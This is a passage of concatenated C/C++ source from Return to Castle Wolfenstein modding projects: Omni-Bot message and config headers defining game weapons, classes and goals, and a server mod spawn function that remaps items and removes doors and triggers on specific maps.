// $LastChangedRevision: 3809 $
//
// Title: RTCW Message Structure Definitions
//
////////////////////////////////////////////////////////////////////////////////
#ifndef __RTCW_MESSAGES_H__
#define __RTCW_MESSAGES_H__
#include "Base_Messages.h"
#pragma pack(push)
#pragma pack(4)
//////////////////////////////////////////////////////////////////////////
struct RTCW_WeaponOverheated
{
RTCW_Weapon m_Weapon;
obBool m_IsOverheated;
};
struct RTCW_WeaponHeatLevel
{
GameEntity m_Entity;
int m_Current;
int m_Max;
};
struct RTCW_ExplosiveState
{
GameEntity m_Explosive;
ExplosiveState m_State;
};
struct RTCW_Destroyable
{
GameEntity m_Entity;
ConstructableState m_State;
};
struct RTCW_HasFlag
{
obBool m_HasFlag;
};
struct RTCW_CanBeGrabbed
{
GameEntity m_Entity;
obBool m_CanBeGrabbed;
};
struct RTCW_WaitingForMedic
{
obBool m_WaitingForMedic;
};
struct RTCW_SelectWeapon
{
RTCW_Weapon m_Selection;
obBool m_Good;
};
struct RTCW_ReinforceTime
{
int m_ReinforceTime;
};
struct RTCW_MedicNear
{
obBool m_MedicNear;
};
struct RTCW_GoLimbo
{
obBool m_GoLimbo;
};
struct RTCW_MG42MountedPlayer
{
GameEntity m_MG42Entity;
GameEntity m_MountedEntity;
};
struct RTCW_MG42MountedRepairable
{
GameEntity m_MG42Entity;
obBool m_Repairable;
};
struct RTCW_MG42Health
{
GameEntity m_MG42Entity;
int m_Health;
};
struct RTCW_CursorHint
{
int m_Type;
int m_Value;
};
struct RTCW_CheckpointTeam
{
int m_OwningTeam;
};
struct RTCW_SpawnPoint
{
int m_SpawnPoint;
};
struct RTCW_GetSpawnPoint
{
int m_SpawnPoint;
};
struct RTCW_MG42Info
{
float m_CenterFacing[3];
float m_MinHorizontalArc, m_MaxHorizontalArc;
float m_MinVerticalArc, m_MaxVerticalArc;
};
struct RTCW_SendPM
{
char * m_TargetName;
char * m_Message;
};
struct RTCW_GameType
{
int m_GameType;
};
struct RTCW_CvarSet
{
char * m_Cvar;
char * m_Value;
};
struct RTCW_CvarGet
{
char * m_Cvar;
int m_Value;
};
struct RTCW_SetSuicide
{
int m_Suicide;
int m_Persist;
};
struct RTCW_DisableBotPush
{
int m_Push;
};
struct Event_Ammo
{
GameEntity m_WhoDoneIt;
};
struct RTCW_GetWeaponTag
{
int m_WeaponTag;
};
#pragma pack(pop)
#endif
<file_sep>////////////////////////////////////////////////////////////////////////////////
//
// $LastChangedBy: crapshoot $
// $LastChangedDate: 2009-03-28 20:07:17 -0700 (Sat, 28 Mar 2009) $
// $LastChangedRevision: 3959 $
//
// Title: RTCW Config
//
////////////////////////////////////////////////////////////////////////////////
#ifndef __RTCW_CONFIG_H__
#define __RTCW_CONFIG_H__
#include "Omni-Bot_Events.h"
typedef enum eRTCW_Version
{
RTCW_VERSION_0_7_beta = 1,
RTCW_VERSION_0_7,
RTCW_VERSION_0_71,
RTCW_VERSION_0_72,
RTCW_VERSION_LAST,
RTCW_VERSION_LATEST = RTCW_VERSION_LAST - 1
} RTCW_Version;
typedef enum eRTCW_Events
{
RTCW_EVENT_BEGIN = EVENT_NUM_EVENTS,
RTCW_EVENT_DROWNING,
RTCW_EVENT_RECIEVEDAMMO,
RTCW_EVENT_END
} RTCW_Event;
typedef enum eRTCW_Msgs
{
RTCW_MSG_BEGIN = GEN_MSG_END,
// actions
//ET_MSG_PLANTDYNAMITE,
//ET_MSG_PLANTMINE,
RTCW_MSG_GOTOLIMBO,
// misc query sutff
RTCW_MSG_ISMEDICNEAR,
RTCW_MSG_ISWAITINGFORMEDIC,
RTCW_MSG_REINFORCETIME,
RTCW_MSG_GETGUNHEALTH,
RTCW_MSG_GETGUNHEAT,
RTCW_MSG_ISGUNMOUNTED,
RTCW_MSG_ISGUNREPAIRABLE,
RTCW_MSG_MOUNTEDMG42INFO,
// weapon query stuff
RTCW_MSG_WPOVERHEATED,
//ET_MSG_WPGRENSPEED,
RTCW_MSG_PICKWEAPON,
RTCW_MSG_PICKWEAPON2,
RTCW_MSG_GETHINT,
RTCW_MSG_CHECKPOINTTEAM,
RTCW_MSG_CHANGESPAWNPOINT,
// goal query stuff
RTCW_MSG_GHASFLAG,
RTCW_MSG_GDYNDESTROYABLE, // check if goal can be destroyed by dynamite
RTCW_MSG_GEXPLOSIVESTATE, // check if state of an explosive
RTCW_MSG_GCANBEGRABBED, // check if an entity can be grabbed
RTCW_MSG_SENDPM,
RTCW_MSG_GETGAMETYPE,
RTCW_MSG_SETCVAR,
RTCW_MSG_GETCVAR,
RTCW_MSG_GETSPAWNPOINT,
RTCW_MSG_SETSUICIDE,
RTCW_MSG_DISABLEBOTPUSH,
RTCW_MSG_GETWEAPONTAG,
RTCW_MSG_END
} RTCW_Msg;
typedef enum eRTCW_PlayerClass
{
RTCW_CLASS_UNKNOWN = 0,
RTCW_CLASS_NULL = 0,
RTCW_CLASS_SOLDIER,
RTCW_CLASS_MEDIC,
RTCW_CLASS_ENGINEER,
RTCW_CLASS_LIEUTENANT,
RTCW_CLASS_MAX,
RTCW_CLASS_ANY = RTCW_CLASS_MAX,
// Other values to identify the "class"
RTCW_CLASSEX_MG42MOUNT,
RTCW_CLASSEX_DYNAMITE,
RTCW_CLASSEX_VEHICLE,
RTCW_CLASSEX_BREAKABLE,
RTCW_CLASSEX_INJUREDPLAYER,
RTCW_CLASSEX_CORPSE,
RTCW_CLASSEX_TREASURE,
RTCW_CLASSEX_GRENADE,
RTCW_CLASSEX_ROCKET,
RTCW_CLASSEX_ARTY,
RTCW_CLASSEX_AIRSTRIKE,
RTCW_CLASSEX_FLAMECHUNK,
RTCW_CLASSEX_BROKENCHAIR,
RTCW_CLASSEX_MINE,
RTCW_NUM_CLASSES
} RTCW_PlayerClass;
typedef enum eRTCW_Weapons
{
RTCW_WP_UNKNOWN = INVALID_WEAPON,
RTCW_WP_NONE = INVALID_WEAPON,
RTCW_WP_KNIFE, // 1
RTCW_WP_LUGER, // 2
RTCW_WP_MP40, // 3
RTCW_WP_MAUSER, // 4
RTCW_WP_GREN_AXIS, // 5 WP_GRENADE_LAUNCHER
RTCW_WP_PANZERFAUST, // 6
RTCW_WP_VENOM, // 7
RTCW_WP_FLAMETHROWER, // 8
RTCW_WP_COLT, // 9 equivalent american weapon to german luger
RTCW_WP_THOMPSON, // 10 equivalent american weapon to german mp40
RTCW_WP_GARAND, // 11 equivalent american weapon to german mauser
RTCW_WP_GREN_ALLIES, // 12 WP_GRENADE_PINEAPPLE
RTCW_WP_ROCKET_LAUNCHER, // 13 equivalent american weapon to german panzerfaust
RTCW_WP_SNIPERRIFLE, // 14
RTCW_WP_STEN, // 15
RTCW_WP_SYRINGE, // 16 WP_MEDIC_SYRINGE
RTCW_WP_AMMO_PACK, // 17 WP_AMMO
RTCW_WP_ARTY, // 18
RTCW_WP_DYNAMITE, // 19
RTCW_WP_SNIPER, // 20
RTCW_WP_MEDKIT, // 21
RTCW_WP_PLIERS, // 22
RTCW_WP_SMOKE_GRENADE, // 23
RTCW_WP_BINOCULARS, // 24
RTCW_WP_MOUNTABLE_MG42,
RTCW_WP_MAX
} RTCW_Weapon;
// typedef: RTCW_Team
// The available teams for this gametype.
typedef enum eRTCW_Team
{
RTCW_TEAM_NONE = OB_TEAM_NONE,
RTCW_TEAM_AXIS,
RTCW_TEAM_ALLIES,
RTCW_TEAM_MAX
} RTCW_Team;
// typedef: RTCW_GoalType
// Enumerations for RTCW specific goal types.
typedef enum eRTCW_GoalType
{
RTCW_GOAL_BEGIN = BASE_GOAL_NUM,
RTCW_GOAL_DYNTARGET, // dyno targets
RTCW_GOAL_DYNAMITE, // a dynomite ;-)
RTCW_GOAL_FALLENTEAMMATE, // a teammate that needs to be revived
RTCW_GOAL_MOVER, // a mover, could be vehicle or other shit
RTCW_GOAL_MG42MOUNT, // a mountable mg42
RTCW_GOAL_MG42REPAIR, // repair a mountable mg42
RTCW_GOAL_CALLARTY, // source for artillery strikes
RTCW_GOAL_CALLARTYTARGET_S,// static target for artillery strikes
RTCW_GOAL_CALLARTYTARGET_D,// dynamic target for artillery strikes
RTCW_GOAL_CHECKPOINT, // capturable checkpoint
RTCW_GOAL_EXPLOSIVE, // func_explosives
RTCW_GOAL_PANZER, // panzer camp
RTCW_GOAL_VENOM, // venom camp
RTCW_GOAL_FLAMETHROWER, // flamethrower camp
RTCW_GOAL_USERGOAL, // routeable flag for scripted waypoint goals (i.e. useswitch)
// THIS MUST STAY LAST
RTCW_GOAL_END
} RTCW_GoalType;
typedef enum eRTCW_EntityFlags
{
// bit: RTCW_ENT_FLAG_MNT_MG42
// Currently mounted on an MG42
RTCW_ENT_FLAG_MNT_MG42 = ENT_FLAG_FIRST_USER,
// bit: RTCW_ENT_FLAG_ISMOUNTABLE
// This entity is mountable.
RTCW_ENT_FLAG_ISMOUNTABLE,
// bit: RTCW_ENT_FLAG_CARRYINGGOAL
// Currently carrying a goal
RTCW_ENT_FLAG_CARRYINGGOAL,
// bit: RTCW_ENT_FLAG_INLIMBO
// This entity is currently in limbo mode. Players only.
RTCW_ENT_FLAG_INLIMBO,
// bit: RTCW_ENT_FLAG_DISGUISED
// This entity is disguised
RTCW_ENT_FLAG_DISGUISED,
// bit: RTCW_ENT_FLAG_POISONED
// This entity is poisoned.
RTCW_ENT_FLAG_POISONED,
} RTCW_EntityFlags;
//////////////////////////////////////////////////////////////////////////
typedef enum eCursorHintType
{
CURSOR_HINT_NONE,
CURSOR_HINT_PLAYER,
CURSOR_HINT_ACTIVATE,
CURSOR_HINT_DOOR,
CURSOR_HINT_DOOR_ROTATING,
CURSOR_HINT_DOOR_LOCKED,
CURSOR_HINT_DOOR_ROTATING_LOCKED,
CURSOR_HINT_MG42,
CURSOR_HINT_BREAKABLE,
CURSOR_HINT_BREAKABLE_DYNAMITE,
CURSOR_HINT_CHAIR,
CURSOR_HINT_ALARM,
CURSOR_HINT_HEALTH,
CURSOR_HINT_TREASURE,
CURSOR_HINT_KNIFE,
CURSOR_HINT_LADDER,
CURSOR_HINT_BUTTON,
CURSOR_HINT_WATER,
CURSOR_HINT_CAUTION,
CURSOR_HINT_DANGER,
CURSOR_HINT_SECRET,
CURSOR_HINT_QUESTION,
CURSOR_HINT_EXCLAMATION,
CURSOR_HINT_CLIPBOARD,
CURSOR_HINT_WEAPON,
CURSOR_HINT_AMMO,
CURSOR_HINT_ARMOR,
CURSOR_HINT_POWERUP,
CURSOR_HINT_HOLDABLE,
CURSOR_HINT_INVENTORY,
CURSOR_HINT_SCENARIC,
CURSOR_HINT_EXIT,
CURSOR_HINT_NOEXIT,
CURSOR_HINT_PLYR_FRIEND,
CURSOR_HINT_PLYR_NEUTRAL,
CURSOR_HINT_PLYR_ENEMY,
CURSOR_HINT_PLYR_UNKNOWN,
CURSOR_HINT_BUILD,
CURSOR_HINT_DISARM,
CURSOR_HINT_REVIVE,
CURSOR_HINT_DYNAMITE,
CURSOR_HINT_CONSTRUCTIBLE,
CURSOR_HINT_UNIFORM,
CURSOR_HINT_LANDMINE,
CURSOR_HINT_TANK,
CURSOR_HINT_SATCHELCHARGE,
CURSOR_HINT_LOCKPICK
} CursorHintType;
typedef enum eExplosiveTargetType
{
XPLO_TYPE_DYNAMITE = 1<<0,
XPLO_TYPE_SATCHEL = 1<<1
} ExplosiveTargetType;
typedef enum eExplosiveState
{
XPLO_INVALID = -1,
XPLO_ARMED = 0,
XPLO_UNARMED = 1,
} ExplosiveState;
typedef enum eConstructableState
{
CONST_INVALID = -1,
CONST_BUILT = 0,
CONST_UNBUILT = 1,
CONST_NOTDESTROYABLE = 0,
CONST_DESTROYABLE = 1,
CONST_BROKEN = 2,
} ConstructableState;
typedef enum eRTCW_Powerups
{
RTCW_PWR_INVULNERABLE = PWR_FIRST_USER,
RTCW_PWR_FIRE,
RTCW_PWR_ELECTRIC,
RTCW_PWR_BREATHER,
RTCW_PWR_NOFATIGUE,
RTCW_PWR_REDFLAG,
RTCW_PWR_BLUEFLAG,
RTCW_PWR_BALL,
} RTCW_Powerups;
#endif
<file_sep>#include "g_local.h"
#include "S4ND_local.h"
/*
* name: S4ND_spawn.c
*
* desc:
*
* $Author: <NAME> & sand :p $
* $Revision: 7 $
* $Modtime: 11/05/01 3:38p $
* $Date: 11/05/01 3:38p $
*/
/*
===============
S4ND_Spawn
Custom spawn stuff for rtcw.
to clear all the shit out of g_callspawn
===============
*/
qboolean S4ND_Spawn(gentity_t *ent) {
char mapName[32];
trap_Cvar_VariableStringBuffer( "mapname", mapName, sizeof(mapName) );
//
// General Shit - Mode specific later on
//
// Turn MED on map into regular MEDpacks for players to use
if ( !strcmp("item_armor_head", ent->classname) )
ent->classname = "item_health";
if ( !strcmp("item_armor_body", ent->classname) )
ent->classname = "item_health";
if ( !strcmp("item_health_small", ent->classname) )
ent->classname = "item_health";
if ( !strcmp("item_health_large", ent->classname) )
ent->classname = "item_health";
// Turn ammo on map into AMMOpacks for players to use
if ( !strcmp("ammo_panzerfaust", ent->classname) )
ent->classname = "weapon_magicammo";
if ( !strcmp("ammo_792mm", ent->classname) )
ent->classname = "weapon_magicammo";
if ( !strcmp("ammo_30cal", ent->classname) )
ent->classname = "weapon_magicammo";
if ( !strcmp("ammo_9mm", ent->classname) )
ent->classname = "weapon_magicammo";
if ( !strcmp("ammo_792mm_large", ent->classname) )
ent->classname = "weapon_magicammo";
if ( !strcmp("ammo_9mm_large", ent->classname) )
ent->classname = "weapon_magicammo";
if ( !strcmp("ammo_cell", ent->classname) )
ent->classname = "weapon_magicammo";
if ( !strcmp("ammo_45cal", ent->classname) )
ent->classname = "weapon_magicammo";
if ( !strcmp("ammo_127mm", ent->classname) )
ent->classname = "weapon_magicammo";
if ( !strcmp("ammo_792mm_small", ent->classname) )
ent->classname = "weapon_magicammo";
if ( !strcmp("ammo_fuel", ent->classname) )
ent->classname = "weapon_magicammo";
if ( !strcmp("ammo_9mm_small", ent->classname) )
ent->classname = "weapon_magicammo";
// MP_Rocket Fix
// Axis Side - 0 133 160
// Allied start point 2912 -736 32
// Allied cave systems -360 -288 -360
/*
if(!Q_stricmp(mapName, "mp_rocket")){
if(!strcmp("team_WOLF_objective", ent->classname) ){
if((ent->r.currentOrigin[0] == 0) && (ent->r.currentOrigin[1] == 133)){
ent->r.currentOrigin[0] = -536;
ent->r.currentOrigin[1] = -333;
ent->r.currentOrigin[2] = 200;
}
}
}*/
// Other
//moved to be in just SP maps so tj maps work.
// BEGIN MAPS [General]
//All SP doors stay open forever once opened :D
if ((!Q_stricmp(mapName, "assault"))||(!Q_stricmp(mapName, "baseout"))||(!Q_stricmp(mapName, "boss1"))||(!Q_stricmp(mapName, "boss2"))
||(!Q_stricmp(mapName, "castle"))||(!Q_stricmp(mapName, "chateau"))||(!Q_stricmp(mapName, "church"))||(!Q_stricmp(mapName, "crypt1"))
||(!Q_stricmp(mapName, "crypt2"))||(!Q_stricmp(mapName, "dam"))||(!Q_stricmp(mapName, "dig"))||(!Q_stricmp(mapName, "end"))
||(!Q_stricmp(mapName, "escape1"))||(!Q_stricmp(mapName, "escape2"))||(!Q_stricmp(mapName, "factory"))||(!Q_stricmp(mapName, "forest"))
||(!Q_stricmp(mapName, "norway"))||(!Q_stricmp(mapName, "rocket"))||(!Q_stricmp(mapName, "sfm"))||(!Q_stricmp(mapName, "swf"))
||(!Q_stricmp(mapName, "trainyard"))||(!Q_stricmp(mapName, "tram"))||(!Q_stricmp(mapName, "village1"))||(!Q_stricmp(mapName, "village2"))
||(!Q_stricmp(mapName, "xlabs"))){
if ((!strcmp("func_door_rotating", ent->classname) )||(!strcmp("func_door", ent->classname) )){
ent->wait = 99999999;
ent->wait *= 1000;
}
// Moved for TJ maps etc...
if ( !strcmp("trigger_aidoor", ent->classname) )
return qfalse;
if ( !strcmp("alarm_box", ent->classname) )
return qfalse;
if ( !strcmp("trigger_once", ent->classname) )
return qfalse;
}
if (!Q_stricmp(mapName, "assault")){
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == -4510) && (ent->r.currentOrigin[1]== 4616) && (ent->r.currentOrigin[2]== 664))
return qfalse;
}
if (!Q_stricmp(mapName, "baseout")){
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == -2064) && (ent->r.currentOrigin[1]== 2286) && (ent->r.currentOrigin[2]== 280))
return qfalse;
// Agent - Door below would create a clipping problem where players cant see through
//if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == 220) && (ent->r.currentOrigin[1]== 2306) && (ent->r.currentOrigin[2]== 392))
// return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == 282) && (ent->r.currentOrigin[1]== 672) && (ent->r.currentOrigin[2]== 53))
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == 6) && (ent->r.currentOrigin[1]== 672) && (ent->r.currentOrigin[2]== 53))
return qfalse;
}
if (!Q_stricmp(mapName, "boss1")){
if ( !strcmp("func_door", ent->classname) )
return qfalse;
if (( !strcmp("func_explosive", ent->classname) )&& (ent->spawnflags != 4))
return qfalse;
}
if (!Q_stricmp(mapName, "boss2")){
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == 574) && (ent->r.currentOrigin[1]== 968) && (ent->r.currentOrigin[2]== 88))
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == 514) && (ent->r.currentOrigin[1]== 1464) && (ent->r.currentOrigin[2]== 88))
return qfalse;
}
if (!Q_stricmp(mapName, "castle")){
// if ( !strcmp("func_door", ent->classname) )
// return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == 1232) && (ent->r.currentOrigin[1]== 1950) && (ent->r.currentOrigin[2]== 336))
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == 1158) && (ent->r.currentOrigin[1]== 1950) && (ent->r.currentOrigin[2]== 336))
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == 1158) && (ent->r.currentOrigin[1]== 2117) && (ent->r.currentOrigin[2]== 100))
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == 1018) && (ent->r.currentOrigin[1]== 2117) && (ent->r.currentOrigin[2]== 100))
return qfalse;
}
if (!Q_stricmp(mapName, "chateau")){
if ( !strcmp("func_explosive", ent->classname) )
return qfalse;
}
if (!Q_stricmp(mapName, "church")){
if (( !strcmp("func_explosive", ent->classname) )&& (ent->spawnflags == 20))
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == -480) && (ent->r.currentOrigin[1]== -158) && (ent->r.currentOrigin[2]== 704))
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == -384) && (ent->r.currentOrigin[1]== -158) && (ent->r.currentOrigin[2]== 1152))
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == -384) && (ent->r.currentOrigin[1]== 734) && (ent->r.currentOrigin[2]== 1152))
return qfalse;
}
if (!Q_stricmp(mapName, "crypt1")){
if ( !strcmp("func_explosive", ent->classname))
return qfalse;
if ( !strcmp("trigger_hurt", ent->classname) )
return qfalse;
if ( !strcmp("func_door", ent->classname) )
return qfalse;
if ( !strcmp("func_invisible_user", ent->classname) )
return qfalse;
}
if (!Q_stricmp(mapName, "crypt2")){
if ( !strcmp("func_explosive", ent->classname))
return qfalse;
}
if (!Q_stricmp(mapName, "dam")){
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == -1340) && (ent->r.currentOrigin[1]== 5528) && (ent->r.currentOrigin[2]== 2404))
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == -1576) && (ent->r.currentOrigin[1]== 5528) && (ent->r.currentOrigin[2]== 2404))
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == -1604) && (ent->r.currentOrigin[1]== 5186) && (ent->r.currentOrigin[2]== 2392))
return qfalse;
}
if (!Q_stricmp(mapName, "dark")){
if ( !strcmp("func_door_rotating", ent->classname) )
return qfalse;
}
if (!Q_stricmp(mapName, "escape1")){
if ( !strcmp("func_invisible_user", ent->classname) )
return qfalse;
if (( !strcmp("func_door", ent->classname) )&& (ent->spawnflags == 7))
return qfalse;
if (( !strcmp("func_explosive", ent->classname) )&& (ent->spawnflags == 4))
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == 264) && (ent->r.currentOrigin[1]== 129) && (ent->r.currentOrigin[2]== -504))
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == 432) && (ent->r.currentOrigin[1]== 513) && (ent->r.currentOrigin[2]== -504))
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == 600) && (ent->r.currentOrigin[1]== 575) && (ent->r.currentOrigin[2]== -504))
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == -190) && (ent->r.currentOrigin[1]== 416) && (ent->r.currentOrigin[2]== 536))
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == -190) && (ent->r.currentOrigin[1]== 416) && (ent->r.currentOrigin[2]== 752))
return qfalse;
}
if (!Q_stricmp(mapName, "factory")){
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == 1400) && (ent->r.currentOrigin[1]== 162) && (ent->r.currentOrigin[2]== 56))
return qfalse;
}
if (!Q_stricmp(mapName, "forest")){
if (!strcmp("func_door_rotating", ent->classname)){
if ((ent->r.currentOrigin[0] == -3492) && (ent->r.currentOrigin[1]== -434) && (ent->r.currentOrigin[2]== 264))
return qtrue;
else
return qfalse;
}
if ( !strcmp("func_invisible_user", ent->classname) )
return qfalse;
}
if (!Q_stricmp(mapName, "norway")){
if ( !strcmp("func_invisible_user", ent->classname) )
return qfalse;
}
if (!Q_stricmp(mapName, "rocket")){
if ( !strcmp("func_invisible_user", ent->classname) )
return qfalse;
if ( !strcmp("func_door_rotating", ent->classname) )
return qfalse;
}
if (!Q_stricmp(mapName, "sfm")){
if ( !strcmp("func_invisible_user", ent->classname) )
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == 478) && (ent->r.currentOrigin[1]== -576) && (ent->r.currentOrigin[2]== -64))
return qfalse;
}
if (!Q_stricmp(mapName, "swf")){
//if ( !strcmp("func_invisible_user", ent->classname) )
//return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == 1986) && (ent->r.currentOrigin[1]== -192) && (ent->r.currentOrigin[2]== 544))
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == 2368) && (ent->r.currentOrigin[1]== -514) && (ent->r.currentOrigin[2]== 548))
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == 1440) && (ent->r.currentOrigin[1]== -1090) && (ent->r.currentOrigin[2]== 544))
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == 1440) && (ent->r.currentOrigin[1]== -1214) && (ent->r.currentOrigin[2]== 544))
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == 354) && (ent->r.currentOrigin[1]== -1288) && (ent->r.currentOrigin[2]== 544))
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == -98) && (ent->r.currentOrigin[1]== 16) && (ent->r.currentOrigin[2]== 544))
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == -222) && (ent->r.currentOrigin[1]== 16) && (ent->r.currentOrigin[2]== 544))
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == 384) && (ent->r.currentOrigin[1]== -732) && (ent->r.currentOrigin[2]== 484))
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == 384) && (ent->r.currentOrigin[1]== -548) && (ent->r.currentOrigin[2]== 484))
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == 786) && (ent->r.currentOrigin[1]== 168) && (ent->r.currentOrigin[2]== 376))
return qfalse;
}
if (!Q_stricmp(mapName, "trainyard")){
//if ( !strcmp("func_door", ent->classname) )
//return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == -1480) && (ent->r.currentOrigin[1]== 606) && (ent->r.currentOrigin[2]== 120))
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == 1904) && (ent->r.currentOrigin[1]== 382) && (ent->r.currentOrigin[2]== -192))
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == 1406) && (ent->r.currentOrigin[1]== 80) && (ent->r.currentOrigin[2]== -192))
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == 3522) && (ent->r.currentOrigin[1]== 200) && (ent->r.currentOrigin[2]== 72))
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == 2120) && (ent->r.currentOrigin[1]== -610) && (ent->r.currentOrigin[2]== 72))
return qfalse;
}
if (!Q_stricmp(mapName, "tram")){
if ( !strcmp("trigger_hurt", ent->classname) )
ent->classname = "trigger_push";
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == -252) && (ent->r.currentOrigin[1]== 318) && (ent->r.currentOrigin[2]== 504))
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == -2718) && (ent->r.currentOrigin[1]== 36) && (ent->r.currentOrigin[2]== -264))
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == -3784) && (ent->r.currentOrigin[1]== -1598) && (ent->r.currentOrigin[2]== -576))
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == -3784) && (ent->r.currentOrigin[1]== -1474) && (ent->r.currentOrigin[2]== -576))
return qfalse;
}
if (!Q_stricmp(mapName, "village1")){
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == -1040) && (ent->r.currentOrigin[1]== 130) && (ent->r.currentOrigin[2]== -128))
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == -880) && (ent->r.currentOrigin[1]== 130) && (ent->r.currentOrigin[2]== -128))
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == 610) && (ent->r.currentOrigin[1]== 1920) && (ent->r.currentOrigin[2]== 68))
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == 236) && (ent->r.currentOrigin[1]== 2338) && (ent->r.currentOrigin[2]== -128))
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == 64) && (ent->r.currentOrigin[1]== -670) && (ent->r.currentOrigin[2]== -128))
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == 318) && (ent->r.currentOrigin[1]== -324) && (ent->r.currentOrigin[2]== -128))
return qfalse;
}
if (!Q_stricmp(mapName, "village2")){
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == 2808) && (ent->r.currentOrigin[1]== -66) && (ent->r.currentOrigin[2]== 8))
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == 1024) && (ent->r.currentOrigin[1]== -799) && (ent->r.currentOrigin[2]== -64))
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == -968) && (ent->r.currentOrigin[1]== 705) && (ent->r.currentOrigin[2]== 2))
return qfalse;
}
if (!Q_stricmp(mapName, "xlabs")){
if ( !strcmp("trigger_hurt", ent->classname) )
return qfalse;
if ( !strcmp("func_invisible_user", ent->classname) )
return qfalse;
if (( !strcmp("func_explosive", ent->classname) )&& (ent->spawnflags == 4))
return qfalse;
if ( (!strcmp("func_door_rotating", ent->classname) )&& (ent->r.currentOrigin[0] == 1500) && (ent->r.currentOrigin[1]== 80) && (ent->r.currentOrigin[2]== 48))
return qfalse;
}
//
// AG3NT - Sniper spawn (actually more like DONT spawn)
//
if (g_SniperMode.integer){
if ( !strcmp("team_WOLF_checkpoint", ent->classname) )
return qfalse;
if ( !strcmp("misc_mg42", ent->classname) )
return qfalse;
if ( !strcmp("item_treasure", ent->classname) )
return qfalse;
if ( !strcmp("ammo_grenades", ent->classname) )
return qfalse;
//if ( !strcmp("ammo_panzerfaust", ent->classname) )
//return qfalse;
if ( !strcmp("team_CTF_blueflag", ent->classname) )
return qfalse;
if ( !strcmp("team_CTF_redflag", ent->classname) )
return qfalse;
//if ( !strcmp("ammo_792mm", ent->classname) )
//ent->classname = "item_health";
//...For noobs, \/ This line means explosive WILL spawn here
